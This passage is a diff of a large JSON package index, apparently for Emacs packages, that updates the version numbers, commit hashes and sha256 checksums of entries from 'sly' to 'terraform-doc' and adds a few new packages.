"735258a26bb97e85d25f39e4bef83c1f80c12f5d", - "sha256": "1dxy14dp6z4907vdj5mahj6fxv211rxvldyiq29k494bmapixhxw" + "commit": "cd745dae17c25225951f22cec8f29b0116fba707", + "sha256": "01s709p7yw6czyw6zgd85afkrsh89n6yq3c0va4k6i64hc3fk57v" }, "stable": { "version": [ 2, - 28 + 29, + 1 ], "deps": [ "cl-lib", "macrostep" ], - "commit": "a4f3471487db48f7289dc0ea019611d093e5ee7f", - "sha256": "155y3xld9snkfm7xhn7gz655xxxr6g7qv45znbg25k6y1lczmy4z" + "commit": "d85dd9899f7524513c8ad1bd47b0dd248b1915cb", + "sha256": "10as5qz1f838rqf0jkd28zlz0sahls5rzpbx3mw48k2vgkjl24z6" } }, { @@ -109630,11 +110369,11 @@ "repo": "joaotavora/sly", "unstable": { "version": [ - 20231009, - 2150 + 20231213, + 1030 ], - "commit": "9c43bf65b967e12cef1996f1af5f0671d8aecbf4", - "sha256": "15nyr02ykkws4q79jcmxcawddg8sgq9v5l8k7jv7gg3hnpzxjlb2" + "commit": "ed17d2c2bd7aead0fbb09c3d22861c80a522a097", + "sha256": "1hgxv0mj89n3ll4cisxmkqb9xfqrxwahyzr0a4jijh4z94j71l8w" }, "stable": { "version": [ @@ -109734,6 +110473,24 @@ } }, { + "ename": "sly-overlay", + "commit": "060c87774d09bc17dd059244c69feeb16646754f", + "sha256": "01jmpzyz5ysri82zhflfal2bc0wibv90b5bnm956r4afd5hqsaw1", + "fetcher": "sourcehut", + "repo": "fosskers/sly-overlay", + "unstable": { + "version": [ + 20240107, + 2206 + ], + "deps": [ + "sly" + ], + "commit": "078c2db5390ef19d1336da067fe85b9586b261e4", + "sha256": "1svpfgfavwdbxg33wrb2phgj9sni3ilb025vpfv9v2lnwm7mdpvx" + } + }, + { "ename": "sly-quicklisp", "commit": "4150455d424326667390f72f6edd22b274d9fa01", "sha256": "0j0qkvs2v563dz2rd70dfmd0qpdwicymx59zv3gn57z5a8m14866", @@ -109808,11 +110565,11 @@ "repo": "zenitani/elisp", "unstable": { "version": [ - 20230822, - 1208 + 20240102, + 1350 ], - "commit": "8dcf2d1639f662c355c3fe2f533995042dce0ca8", - "sha256": "0acha536crf59mjpdir1yxh9hk9pnxdjpjggzaj51f7y9hncf43j" + "commit": "09f31e1adf2bd900138b0b8e6d2060c336eb07ad", + "sha256": "0xbb4v23xvjgrby15lp4an2spvcp5m41112z9pmzvs5wj49w8zks" } }, { @@ -109838,11 +110595,11 @@ "repo": "malsyned/smart-dash", "unstable": { "version": [ - 20220704, - 1645 + 20240129, + 1813 ], - "commit": "2c31849b09d504010c800584b6ab39d61c647bd6", - "sha256": "1fxg50jw1jqjxsswk0rp2q7skrpi92xd8lshvk22i7gh1743skbb" + "commit": "04481dd62671a557fa8812c336d23108e2bca2fa", + "sha256": "0xhzf1ya1hf5xfswnlz2anfcp9j38yxkwvd1wf05vf68x849n25y" } }, { @@ -109975,14 +110732,14 @@ "repo": "daviderestivo/smart-mode-line-atom-one-dark-theme", "unstable": { "version": [ - 20230107, - 1731 + 20240103, + 927 ], "deps": [ "smart-mode-line" ], - "commit": "5f2056d7c24e9c8964f700ab6ec6f00ba4315eb8", - "sha256": "1klzgsvl4vnj14azdng7c3dz3r8mw3il9p56gf9dpm5xr8w4mwbl" + "commit": "f422b79e7b6e2796b1d5f4143913497383840960", + "sha256": "1f9003m0wkw2j6b9k1i0ahr4cdslx48rhk8ggksn30523gssa1xp" } }, { @@ -110587,16 +111344,16 @@ "repo": "danielfm/smudge", "unstable": { "version": [ - 20210326, - 2222 + 20231217, + 1531 ], "deps": [ "oauth2", "request", "simple-httpd" ], - "commit": "808f0ef172a80cf4a8ae6d58dfe385d28ecde28e", - "sha256": "0cm02r0bgmj2dr6njdm1059q0gjx12c13cs1yxx0zqr6294jiby6" + "commit": "a847e344887863e9c8aa37c909c64350defd1b73", + "sha256": "112844fr8pw6g6b95iiyhmbhmy0hqml0lgc59d16llgd463dbc32" } }, { @@ -110622,14 +111379,14 @@ "repo": "kyleam/snakemake-mode", "unstable": { "version": [ - 20230418, - 147 + 20231210, + 2008 ], "deps": [ "transient" ], - "commit": "0c4c5b6a25735ac025ce124ace9f0259eb5198e9", - "sha256": "003sw5qxk0y4qn88fhd963gvlb6i7pa8g12hapv6g1l7xycx9lrz" + "commit": "5c47042e088d69375b6407a7eded166403d6fd81", + "sha256": "0spgvnsl8kpqq49flnwih3cnmdbmj45sc6czygiai4gwl6drambb" }, "stable": { "version": [ @@ -110742,15 +111499,15 @@ "repo": "SpringHan/sniem", "unstable": { "version": [ - 20231105, - 822 + 20240120, + 654 ], "deps": [ "dash", "s" ], - "commit": "6132750f28091a774b087faea00d1363204c6922", - "sha256": "0lqk49mky6gg53a7pwhr1jys40jcw2cwafrwxm9jcknw01glrr4a" + "commit": "8582dafd99131b755e32ecb231ae08025adfde98", + "sha256": "14v7nirbqyynadhzgms5ybiwn83i4dhh606gc5m04sf7ll7x10p5" } }, { @@ -110986,20 +111743,20 @@ "repo": "bbatsov/solarized-emacs", "unstable": { "version": [ - 20231008, - 1300 + 20231204, + 713 ], - "commit": "cd737ed7e0eac299844a9b453758dec4a392c7c9", - "sha256": "1xlidpis2b5r30lnh3j8bljfkciz9gc6zsinqiypm76qiz2gnld5" + "commit": "922b5956a9e2e474f1595bad7b2b35f148b4df3f", + "sha256": "18z36nzyh4dsd8igys37x0r3lnav77fvjrkxv48v3yjsrwli19gl" }, "stable": { "version": [ 2, 0, - 3 + 4 ], - "commit": "07a681fff27ff22d268b726b05576ef93fc4e615", - "sha256": "0mip5da7glzylmagxkmi2f68i19phbbzn72vh3jd3w76labcvbzm" + "commit": "922b5956a9e2e474f1595bad7b2b35f148b4df3f", + "sha256": "18z36nzyh4dsd8igys37x0r3lnav77fvjrkxv48v3yjsrwli19gl" } }, { @@ -111646,11 +112403,11 @@ "repo": "gnuhack/spanish-holidays", "unstable": { "version": [ - 20230626, - 805 + 20231212, + 2107 ], - "commit": "26d552ae71f670dc966a3b7b7614d1622bce9f38", - "sha256": "1rhzcs5zm3z09kmwf2hmhq8sl3vf5qclb5j7lyazr4hmg52f4k22" + "commit": "cf892251468e6ba38c259f759bf31e7f9ad1c036", + "sha256": "0sjrzifbw0p13bl9lvwim5phhbwa7a868pzs6nxqhvxz88lx72bw" } }, { @@ -111751,11 +112508,11 @@ "repo": "condy0919/spdx.el", "unstable": { "version": [ - 20231111, - 59 + 20240203, + 58 ], - "commit": "18d7cfd411d79d8bc81027a023c72bae96d77059", - "sha256": "0kj1amrxa1ldc4ss0lx1y2jl4iskg68zm20yldw059gwlg61p13q" + "commit": "accd26eba9dd9209479d2c935fc90083fefb5f67", + "sha256": "0kf55c209aspv146mb26pd5q592l9i73i78zddgk8qv5dnnd4pjf" } }, { @@ -111921,9 +112678,9 @@ }, { "ename": "sphinx-frontend", - "commit": "4cf72e71f159b9eaaa0834682d5dd4eb258616cf", - "sha256": "0hdn6zjnhzyka0lzdxqfzbj3lrj767ij406zha9zw8ibbkk7cmag", - "fetcher": "github", + "commit": "1ac417c463e595a08d078a7b60c8ac4a3e3f49ec", + "sha256": "1nqdkypgf4xcm0x4bg5bzqdqg35w3a7k8l07qlqkv6d50mifz4z9", + "fetcher": "gitlab", "repo": "kostafey/sphinx-frontend", "unstable": { "version": [ @@ -112379,19 +113136,19 @@ "repo": "pekingduck/emacs-sqlite3-api", "unstable": { "version": [ - 20230315, - 1221 + 20231124, + 1326 ], - "commit": "b513b71012f61895f771fc6948d6511ea8ded0a6", - "sha256": "1y36818nd47mzfi3xcp31nr8n0izzmdyiqfx9hgp7ag98rbm7wlx" + "commit": "a601c9965e4d0178705a64b7d4f88709ca9aea66", + "sha256": "1d1r65ybcf5idbs8sv0l3dna4l1wy3jba9dvv1kkz7zj6qhr48fs" }, "stable": { "version": [ 0, - 17 + 18 ], - "commit": "b513b71012f61895f771fc6948d6511ea8ded0a6", - "sha256": "1y36818nd47mzfi3xcp31nr8n0izzmdyiqfx9hgp7ag98rbm7wlx" + "commit": "a601c9965e4d0178705a64b7d4f88709ca9aea66", + "sha256": "1d1r65ybcf5idbs8sv0l3dna4l1wy3jba9dvv1kkz7zj6qhr48fs" } }, { @@ -112473,7 +113230,7 @@ }, { "ename": "srefactor", - "commit": "e23115ab231ab108678608f2ad0a864f896cd0f2", + "commit": "bc2db57a308db64656ccb1b1f31106d0fd71666a", "sha256": "01cd40jm4h00c5q2ix7cskp7klbkcd3n5763y5lqfv59bjxwdqd2", "fetcher": "github", "repo": "tuhdo/semantic-refactor", @@ -112502,11 +113259,11 @@ "repo": "srfi-explorations/emacs-srfi", "unstable": { "version": [ - 20231115, - 1901 + 20240113, + 2244 ], - "commit": "97fa0664ee4852b18201a3fcac265ac8c52a4a4b", - "sha256": "154r3xrif4nzdqsfyb6skw0ddbi15j1crnqrqv6yclf4s14icz1m" + "commit": "78a31cc9714c80d41f19e33ce5b4cf09a14bfca9", + "sha256": "1xml90yrbswcq22lazrl5nwqamfflwry607zj88xk60xnxk2r55l" }, "stable": { "version": [ @@ -112779,8 +113536,8 @@ "repo": "daanturo/starhugger.el", "unstable": { "version": [ - 20231023, - 1523 + 20231202, + 235 ], "deps": [ "compat", @@ -112788,14 +113545,14 @@ "s", "spinner" ], - "commit": "8e1bc1167a64cc421ce3d1368a9c0e5da89bf687", - "sha256": "0wpxicq7yh99qx6vwvjgbwwghx1bqyx972zymzhq3m89wnliqlx3" + "commit": "1bb3464c3a198a4f5f2155817d6505c4bab7dc79", + "sha256": "1f6ixs708j9s1vcnw1xgl89xmsmv5c4lg8qlazk7cbrg034m9l9d" }, "stable": { "version": [ 0, 4, - 1 + 2 ], "deps": [ "compat", @@ -112803,8 +113560,8 @@ "s", "spinner" ], - "commit": "8e1bc1167a64cc421ce3d1368a9c0e5da89bf687", - "sha256": "0wpxicq7yh99qx6vwvjgbwwghx1bqyx972zymzhq3m89wnliqlx3" + "commit": "1bb3464c3a198a4f5f2155817d6505c4bab7dc79", + "sha256": "1f6ixs708j9s1vcnw1xgl89xmsmv5c4lg8qlazk7cbrg034m9l9d" } }, { @@ -112974,20 +113731,20 @@ "repo": "stacked-git/stgit", "unstable": { "version": [ - 20231008, - 2236 + 20231226, + 1804 ], - "commit": "f9b9280b570cb13696493ab4d39d64736edd2ca3", - "sha256": "12pznqs1aycg6syiwrca6v8agrka0l7gh4in0papkkqss54lsaps" + "commit": "9969b4e22c7255090c28f0e68598aeb3974b4d4d", + "sha256": "06b7y5lrnahlcha3lj4jfaj2266szsxbrhc7nl82ddai87dn5nj5" }, "stable": { "version": [ 2, 4, - 0 + 2 ], - "commit": "f9b9280b570cb13696493ab4d39d64736edd2ca3", - "sha256": "12pznqs1aycg6syiwrca6v8agrka0l7gh4in0papkkqss54lsaps" + "commit": "9969b4e22c7255090c28f0e68598aeb3974b4d4d", + "sha256": "06b7y5lrnahlcha3lj4jfaj2266szsxbrhc7nl82ddai87dn5nj5" } }, { @@ -113022,7 +113779,7 @@ }, { "ename": "stickyfunc-enhance", - "commit": "e24454febf90ec18a587b2c187a2bd2101e1b7b5", + "commit": "bc2db57a308db64656ccb1b1f31106d0fd71666a", "sha256": "13dh19c3bljs83l847syqlg07g33hz6sapg6j4s4xv4skix8zfks", "fetcher": "github", "repo": "tuhdo/semantic-stickyfunc-enhance", @@ -113043,11 +113800,11 @@ "repo": "motform/stimmung-themes", "unstable": { "version": [ - 20231113, - 756 + 20240117, + 1324 ], - "commit": "22f449a30d6d36a42c59c1d31e3538aafff19e90", - "sha256": "11pj8fh65wz02q9mhyd4yqpis5n3k2wc919l19ygl4kh5h60ailg" + "commit": "1a574973041cd5c318f39b95f6377b60337f2d6d", + "sha256": "1whzhbvi1kzvxw8ciqm46p911pcd7ynh9zgkshlyzrgg2dcvamrp" } }, { @@ -113124,11 +113881,11 @@ "repo": "fosskers/streak", "unstable": { "version": [ - 20220311, - 1929 + 20240106, + 2145 ], - "commit": "b2206de2fe43f97e754bbcb0abe9b078a419e787", - "sha256": "0v2yvwgkc48kbqh2lx52044b5d7yvg7d24vivqbri1wny5zpriqr" + "commit": "2d56788cbbf6114e61c85dd57b05133f8f351ac6", + "sha256": "1chpm2za7g3aac9gjxsf2mm9nf4g2wl1y89dd722v0gcnkdrjgfv" }, "stable": { "version": [ @@ -113774,20 +114531,20 @@ "repo": "bbatsov/super-save", "unstable": { "version": [ - 20220531, - 1745 + 20231209, + 1044 ], - "commit": "6f6512bc44b09f7187e58772892fa330f4518c12", - "sha256": "1nbkx8hphszwn42g75f92n22zkp8kjl3pr0rbfpwdzbsla5lm2dz" + "commit": "0298076ea20e5239d485f0029846fc85664ce47f", + "sha256": "0bqmy1p7j6dbkyi4j12gpfpg14q4i4llnvxhh8i8z4880q6vbczv" }, "stable": { "version": [ 0, - 3, + 4, 0 ], - "commit": "2a905b8bdfc93bee16e2d62a61c6211bbe009331", - "sha256": "066fyg4r4pksyandpd7s53hagpvm2rw90q5ks4jlpgy7x00hw09l" + "commit": "103d7a4b9f04754e140b34166a1e983cf0f82693", + "sha256": "1nypbklgfxyrp55f0dazg9hm7gkqibijd6k4nlb0b0f1rhcm989b" } }, { @@ -113813,11 +114570,11 @@ "repo": "mkleehammer/surround", "unstable": { "version": [ - 20231022, - 1838 + 20231211, + 1514 ], - "commit": "b75abfaf3e157d232c10e09cd6316a0ad92d2468", - "sha256": "0xbprgglbjznrx43n1bqdsyfgnsv3r1fm7a2dvaga07kyhwnzy0a" + "commit": "5c6e4ba9a4540fbcebfe6d21363179a15bc4ee9e", + "sha256": "1fcr9jbvmh3vaabk0bjnczkli594vw5mblc5awzib672p288pwij" } }, { @@ -113903,14 +114660,14 @@ "repo": "rougier/svg-tag-mode", "unstable": { "version": [ - 20230824, - 943 + 20240122, + 1209 ], "deps": [ "svg-lib" ], - "commit": "c914980f09a9c7e2ba4faf64874ef17505bdc861", - "sha256": "06jvq2ry71zk63kcncibs8ajzq32p9jn9rw29wdgyqgkww43b5rd" + "commit": "f01307dd7720ed952355db0a552ae555c13ced13", + "sha256": "13fyg7wn2rzf19ni2niv868rp2iqm1ckqyg0rc99sbgz5i2qdzcw" } }, { @@ -113963,8 +114720,8 @@ "repo": "isamert/swagg.el", "unstable": { "version": [ - 20230827, - 2121 + 20231128, + 2038 ], "deps": [ "compat", @@ -113973,8 +114730,8 @@ "s", "yaml" ], - "commit": "28bfee4157e6b7d58661ae2f1e610fb5e42ecb9e", - "sha256": "1w9csj4d3pvih6jjki0hix7lgqgv49kdacn3akdyiwc0rmyn2skj" + "commit": "097d1441a18eac7169b8a3fba9e253d7f489c6fb", + "sha256": "0rzrvx7cmmxf5fgrfa68z1idhd34q74wq3x93xi9h6xlghbzc2ii" } }, { @@ -114047,11 +114804,11 @@ "repo": "thblt/sway.el", "unstable": { "version": [ - 20230906, - 712 + 20231219, + 1842 ], - "commit": "425005713af1e9269f1d5b5221fb4ea3046f52e4", - "sha256": "1w29dkl7s835zgwnc4jx1cp84s6mmwbvlil8z2c31psy0rlajc6i" + "commit": "84eae5e16a643eb00b0a422ded751cceb17cc8f0", + "sha256": "194plzc6rg7a5j3f68say0znix34yp8421cdlkwnw345czh52mjn" }, "stable": { "version": [ @@ -114096,10 +114853,10 @@ }, { "ename": "sweet-theme", - "commit": "a149448c38504bdf6f782a10cb1440da9102990f", - "sha256": "1ca56disxyr30anvpqahh33s062y35w003yxi1rhdrknka2cnl5q", + "commit": "6c0b41b01bdb4f94d08cf7677f58eb3ab364a967", + "sha256": "1cmv6f2mj8jrcl9r0m4kc3hkvz4f6hsqjbxkdjvdpl1m6vqb9dwy", "fetcher": "github", - "repo": "2bruh4me/sweet-theme", + "repo": "konkrotte/sweet-theme", "unstable": { "version": [ 20200708, @@ -114185,14 +114942,14 @@ "repo": "swift-emacs/swift-mode", "unstable": { "version": [ - 20230930, - 903 + 20240104, + 952 ], "deps": [ "seq" ], - "commit": "e58417ec871d260fe47183ffe4b7e47ac09bc682", - "sha256": "17gcg55jajq3am3nrzlsibkdwskq1rbg3lhgxynkpky0ihci35nr" + "commit": "84059659de4da89d3d2902611cebed6d0423bf06", + "sha256": "0qiqzwxy8alq5px2g9x46nsphqphhf4iaijw7dccp4qml7qshxf9" }, "stable": { "version": [ @@ -114421,8 +115178,8 @@ "repo": "vermiculus/sx.el", "unstable": { "version": [ - 20220804, - 1419 + 20240126, + 2120 ], "deps": [ "cl-lib", @@ -114430,8 +115187,8 @@ "let-alist", "markdown-mode" ], - "commit": "c58405f9ff27b9740997ea837a1f6fd173d1edc5", - "sha256": "1rybhwzvbd6y8p4gshiaw8i5v8ankav4wc4v1viag2j7ay0ygjxz" + "commit": "8c1c28f33d714fc8869e49f5642e1a585c8c85af", + "sha256": "0jkmb8x28v8jnhgm9zibyjn6q5dmssv24gq1084jwx2kzg135sjm" }, "stable": { "version": [ @@ -114550,11 +115307,11 @@ "repo": "liushihao456/symbols-outline.el", "unstable": { "version": [ - 20231111, - 809 + 20231229, + 941 ], - "commit": "48cc227507c3d079a2ceaf6939406ab158b534eb", - "sha256": "06m2dgfm61iprikv2j0nz63x84l15mzrs0qxn0j3p6flr7aq21n8" + "commit": "af4cba0c409a38e25eb572687a3a6848953ef868", + "sha256": "0jqw0p3cmjjbgsihnk49v88v7ypbxmpcsl4wb3cs83n2c4qgd11y" } }, { @@ -114685,6 +115442,30 @@ } }, { + "ename": "syncthing", + "commit": "731bfbc71293715350ca072a954cf20b759288bf", + "sha256": "07via5xsrz660rafkknp8l9y33dm2yd5q13i1mngk8ld4j9q0bdm", + "fetcher": "github", + "repo": "KeyWeeUsr/emacs-syncthing", + "unstable": { + "version": [ + 20240101, + 2334 + ], + "commit": "9f44d45a55b460b7eaeb9fb15d17d94e790705e0", + "sha256": "13s6gnjxf5g1688hs30ha65nmmby3gyyzpb2wb82hckwgm0g8rqp" + }, + "stable": { + "version": [ + 2, + 2, + 0 + ], + "commit": "9f44d45a55b460b7eaeb9fb15d17d94e790705e0", + "sha256": "13s6gnjxf5g1688hs30ha65nmmby3gyyzpb2wb82hckwgm0g8rqp" + } + }, + { "ename": "synonymous", "commit": "ecf2c44c63e9f41f1733849bdef0d0c301485580", "sha256": "0vawa9qwvv6z1i7vzhkjdl1l9r1yham48yn5y8w8g1xyhxxp6rs5", @@ -114759,14 +115540,14 @@ "repo": "emacs-berlin/syntactic-close", "unstable": { "version": [ - 20230423, - 707 + 20231218, + 1001 ], "deps": [ "cl-lib" ], - "commit": "c184ff7a3cbcd28439aba7c3531ffebf0cd30b3a", - "sha256": "1i9dv3c0b68607ldr735ky41gxg8vbf7z7nkplkbx4sgkx3r92c9" + "commit": "022018c4de0d799c92301b76ea4f1775cfc9f510", + "sha256": "1xgghmdj1irbfxcz7fhxs7i0mrp6myska77m0piicryhqpa8ch9d" } }, { @@ -115071,6 +115852,30 @@ } }, { + "ename": "tab-bar-notch", + "commit": "d44b27f4f7415430c03113e0ab8bea35681cd62f", + "sha256": "116a26y84jqan7445wdyr5ad2axq6b4652zs806jpibng6lyv28r", + "fetcher": "github", + "repo": "jimeh/tab-bar-notch", + "unstable": { + "version": [ + 20231120, + 2029 + ], + "commit": "6d1101d8156e336f45122c04889327a4c5be253c", + "sha256": "1s0j89g93jq0p2p9w1wj9aycm74iar2vg0gkhf87xxf88ldhafs7" + }, + "stable": { + "version": [ + 0, + 0, + 6 + ], + "commit": "6d1101d8156e336f45122c04889327a4c5be253c", + "sha256": "1s0j89g93jq0p2p9w1wj9aycm74iar2vg0gkhf87xxf88ldhafs7" + } + }, + { "ename": "tab-group", "commit": "ad758d865bde8c97d27c0d57cabe1606f8b36974", "sha256": "1i5lxpf3wmqnqj9mzgcn4gp1gjxp737awrzl1dml5wnarbbj4fs9", @@ -115156,6 +115961,21 @@ } }, { + "ename": "tabby-mode", + "commit": "6fc1f1cae1c86e2216a43b6c3210d54a1c735740", + "sha256": "1vnpw4v6khlc1zyimw07x94vng7m0czrbw2f44yib9930xmivqdx", + "fetcher": "github", + "repo": "ragnard/tabby-mode", + "unstable": { + "version": [ + 20240107, + 2124 + ], + "commit": "b656727247c5fc78690827fecf232edc1945a331", + "sha256": "01a78kd1xln8hnjnnh9xzyrs6d48bpc1i62g8r1dcgm66ivqk2sq" + } + }, + { "ename": "tabgo", "commit": "80bdcded3f79c12968f4884fabf89cc7380c3bf1", "sha256": "0mdlxvim1pgps3mbflmjyp4zxbnlcrh5d7f7p75lrwnjqf44byna", @@ -115201,8 +116021,8 @@ "repo": "shuxiao9058/tabnine", "unstable": { "version": [ - 20231019, - 632 + 20231123, + 1236 ], "deps": [ "dash", @@ -115212,8 +116032,8 @@ "transient", "vterm" ], - "commit": "9d66dd9a3aadd6bfdd3dbbfdc11e6451b15f79e8", - "sha256": "1hlfn8khvgfm41nhim4byj7mp1m96jiw0z7v8d9fl2hj5ac5lziw" + "commit": "f6383e6b8af25ed6edd1ccd67a8791a7a0d06248", + "sha256": "1xq6r90apw7n4hfhrwh65mw4bq02rnv08j4jf8mwnw4ga204fnwi" } }, { @@ -115224,14 +116044,14 @@ "repo": "mclear-tools/tabspaces", "unstable": { "version": [ - 20231108, - 1340 + 20231222, + 1829 ], "deps": [ "project" ], - "commit": "3a0546d9e762600006d85a4c9785167d44ffe9a8", - "sha256": "1g36scf1620jg02xw2056vyrdx2mwm3qza4h00a1sc19i6qy50xq" + "commit": "488119b3037ba535371131000aeaea75935e3f46", + "sha256": "18i201pcn4ywqlkxl1i0mz6y8vi5hc6ixwimp8kagbjmw084z9gy" } }, { @@ -115391,11 +116211,11 @@ "repo": "11111000000/tao-theme-emacs", "unstable": { "version": [ - 20230906, - 1605 + 20231117, + 1840 ], - "commit": "328d50abd0628dba06f127e5bf26f7cbd52c5a71", - "sha256": "1l3w4icfbmjaariq85f7rxw4lq3ydgkc78szvn4zwca3iafyipn7" + "commit": "593494030bc7651efff0c79c62d5e21d3fd54f4f", + "sha256": "0741y62m8acpqk87s2bf2iw14m1nppgisdvarvrgz55x6zvn1mk9" }, "stable": { "version": [ @@ -115430,11 +116250,11 @@ "repo": "saf-dmitry/taskpaper-mode", "unstable": { "version": [ - 20230718, - 1418 + 20240112, + 1656 ], - "commit": "33a87374f4fd4d6c45c8ae433b9735e72d7a60c8", - "sha256": "12c2ss4m5c9gm7k02fh1a72b41qfpnpj1bavqn1qhc83hbd5rc6l" + "commit": "70897b621ab541dc4b7874a55378aa5a75095e2e", + "sha256": "1g5lpl8jr58c225rhvjjzrnarv30n0f3xk58srrqwzrcdvqzywmm" }, "stable": { "version": [ @@ -115472,26 +116292,26 @@ "repo": "phillord/tawny-owl", "unstable": { "version": [ - 20210528, - 1710 + 20231117, + 1644 ], "deps": [ "cider" ], - "commit": "5da72b601cb9f052f35e88c41f1a18b326c03791", - "sha256": "1hhwyh4qkmhc303sf4qsarpczyqihh45z2xb96m2ra5zlqnklcpp" + "commit": "b2708d693400a2010370df040d7571bc30fa4d75", + "sha256": "02p8gw7pzawzq2zzkgfx8wpp4l4zlz9zyw0f298yqrwp2zsrw5fx" }, "stable": { "version": [ 2, 3, - 0 + 3 ], "deps": [ "cider" ], - "commit": "5da72b601cb9f052f35e88c41f1a18b326c03791", - "sha256": "1hhwyh4qkmhc303sf4qsarpczyqihh45z2xb96m2ra5zlqnklcpp" + "commit": "b2708d693400a2010370df040d7571bc30fa4d75", + "sha256": "02p8gw7pzawzq2zzkgfx8wpp4l4zlz9zyw0f298yqrwp2zsrw5fx" } }, { @@ -115502,8 +116322,8 @@ "repo": "Yuki-Inoue/tblui.el", "unstable": { "version": [ - 20161007, - 1912 + 20231201, + 1100 ], "deps": [ "cl-lib", @@ -115511,8 +116331,8 @@ "magit-popup", "tablist" ], - "commit": "e280e11b35a2fdbcadf9ce901a2b62684ac7a7a3", - "sha256": "0alb0gpdny1y90b2c5s25as56qbi3dy8rfnm9ba0k7ifwy0lmfq5" + "commit": "62ab5f62982c061a902fd3e54d94a68a4706572c", + "sha256": "1fq0dsvh9a8h7n4d4cj7sn73nzbg5chqjby9pzpbs5grx4kf0zi6" } }, { @@ -115543,11 +116363,11 @@ "repo": "kanchoku/tc", "unstable": { "version": [ - 20220122, - 1443 + 20231123, + 1424 ], - "commit": "a3a4738ede3e107a5149c9d55691f57736bf4f48", - "sha256": "0y2p4jibvbm2c76lik0gsg1hyl9gxb0x0pi0azak6yk3dyzci5w2" + "commit": "6d7d16ae0dd737efb8ba68eebf1cc4cfdc26b05f", + "sha256": "1af87804j35gkrjlvf694hvza6p409vcprkikm63cwnjz63rzil4" } }, { @@ -115621,15 +116441,15 @@ "repo": "zevlg/telega.el", "unstable": { "version": [ - 20231116, - 1 + 20240130, + 2135 ], "deps": [ "rainbow-identifiers", "visual-fill-column" ], - "commit": "08441b4daedbb2688edb2dd3cac0aa71cca675f7", - "sha256": "1fish0g8dvd6m0lgzy2k92g5dk52swynyyqhv6pyj2wjmwb7cx6f" + "commit": "e8d9459ef725ed8fb60479b5fccadae1e4eac87a", + "sha256": "18f6i2w0iial2wi60vkqck30c0m4p2nj0bzd2x9p4il27dwv5hwq" }, "stable": { "version": [ @@ -115676,16 +116496,16 @@ "repo": "dbordak/telephone-line", "unstable": { "version": [ - 20230322, - 442 + 20240109, + 2021 ], "deps": [ "cl-generic", "cl-lib", "seq" ], - "commit": "202f9c94f7b86827ab7ebb6dbce8302b0447d6ff", - "sha256": "1hwym7xqgc6zhakni7ws7x9j4whyb86ddiv7cwjj29arfsadbmiz" + "commit": "6016418a5e1e8e006cc202eff50ff28b594eeca4", + "sha256": "05ymb8hix1mqk5hx1cvzik069x760r4zmzvwld706n7l51zgnrhr" }, "stable": { "version": [ @@ -115709,14 +116529,14 @@ "repo": "caramelhooves/teleport.el", "unstable": { "version": [ - 20230915, - 1703 + 20240101, + 1358 ], "deps": [ "dash" ], - "commit": "a5262b0434b1b0c672e5b4bb625ea8d70a337b12", - "sha256": "1rnbfbb96826lpvh00qy21aa4ck5kg833z7wj26sir2pr0lrlzb7" + "commit": "d8fa80e7f548287279c9620e26c354e68b1559af", + "sha256": "1b301mkvbr22bzj0hm0v0mr9ahw7491rl7l6374kiq4l8rlyp54g" } }, { @@ -115727,11 +116547,11 @@ "repo": "lassik/emacs-teletext", "unstable": { "version": [ - 20211203, - 1111 + 20231215, + 1524 ], - "commit": "6b003e9dab9bd0c27d188a81f5fff740d66a2282", - "sha256": "0ilallavqhqjsxh37gga5k2pgz8jiwxssfhj1jlf7nj89gn2ana6" + "commit": "d59ae5f9b79007646815a38f31882a114ca8aee0", + "sha256": "0n37ivxjw6ss1ykd3fmqipbmw064j7n3p7h20j8qvg7yr5hk6ldw" } }, { @@ -115742,14 +116562,14 @@ "repo": "lassik/emacs-teletext-yle", "unstable": { "version": [ - 20210927, - 825 + 20231215, + 1609 ], "deps": [ "teletext" ], - "commit": "9c8f4b503923c4ec688e2dcc9dff62d71bc55933", - "sha256": "0j0qd75nz0b97pg7x58cf6cxanmwkbyam6raq6zwdlvllwmsq6qd" + "commit": "59a287c26571db07e191ac86cdf0be312fec1964", + "sha256": "0f391lpvy0dl2l3ld7f9nlvl31ckx26wngp5vg8425cbizy6ji6n" } }, { @@ -115760,25 +116580,25 @@ "repo": "minad/tempel", "unstable": { "version": [ - 20230810, - 2303 + 20240102, + 331 ], "deps": [ "compat" ], - "commit": "93deb89ac1b1b6d789779432cfae5c76d9939c44", - "sha256": "0ks0fnxs9giwp6ly410m5m1v3icgpgs5zj0axi7g37984nnqkq42" + "commit": "38eabcc756c7bd4b3dd57b85d61509075673f617", + "sha256": "0g79j1b1j8vn4l7sk7vq0zrdm7aa10qaf0p0dl0mh7smfy50dmfk" }, "stable": { "version": [ - 0, - 8 + 1, + 0 ], "deps": [ "compat" ], - "commit": "fd46702a849b23c9d9b39cb7810a6d727655d9d0", - "sha256": "10dcf56x74jrbdzaa9kphyzq2rz5alv800dnnzpbnvwzh29lfyka" + "commit": "38dad1f85104c7c734ad9245f3a85b49562332d0", + "sha256": "0f1z5p6vbbjsh7cn7hqhv4c6h4awczpf14sbwpzsnwqsxsfjdh34" } }, { @@ -115800,6 +116620,29 @@ } }, { + "ename": "templ-ts-mode", + "commit": "28e67b7ae24652913c1f66d9b46e0101189ffd12", + "sha256": "1bwx7v2xzfh2r35i4njjrd1bdv2j19wgp1w32cbgmlxp9kl1k0ws", + "fetcher": "github", + "repo": "danderson/templ-ts-mode", + "unstable": { + "version": [ + 20240118, + 338 + ], + "commit": "e43dc22adada160906bd411b03cfa022d787486d", + "sha256": "1pr53b3jcv0wb7gn32ifsmgq957hvfq58mviz9ym8csi9ijv44vz" + }, + "stable": { + "version": [ + 0, + 3 + ], + "commit": "f1df396a5db1d9aef9a3f7fb72be1d0c33e32366", + "sha256": "077hk4ssb1bvjxs6f7v78kyqiypx6rv00j3ij61an8z0l878p4yw" + } + }, + { "ename": "template-overlays", "commit": "8856e67aae1f623714bc2a61a7b4773ed1fb2934", "sha256": "0vmadkgzp4i0mh64la67k1anvmlmd4i7iibdlr9ly8z7i3cdsxqn", @@ -115843,9 +116686,9 @@ }, { "ename": "temporary-persistent", - "commit": "e608f40d00a3b2a80a6997da00e7d04f76d8ef0d", - "sha256": "0afjcad97pzbrjs1v80l6c98vi5asgaxcn2rq95gz1ld7nn0a9zh", - "fetcher": "github", + "commit": "add3089ff62ba64bff96523768d18b79653bd491", + "sha256": "1yscqw46cmzascwg5h63sacz73pdfkzgs8as2fmpb475anacdivr", + "fetcher": "gitlab", "repo": "kostafey/temporary-persistent", "unstable": { "version": [ @@ -116312,11 +117155,11 @@ "repo": "TxGVNN/terraform-doc", "unstable": { "version": [ - 20230521, - 849 + 20240119, + 1413 ], - "commit": 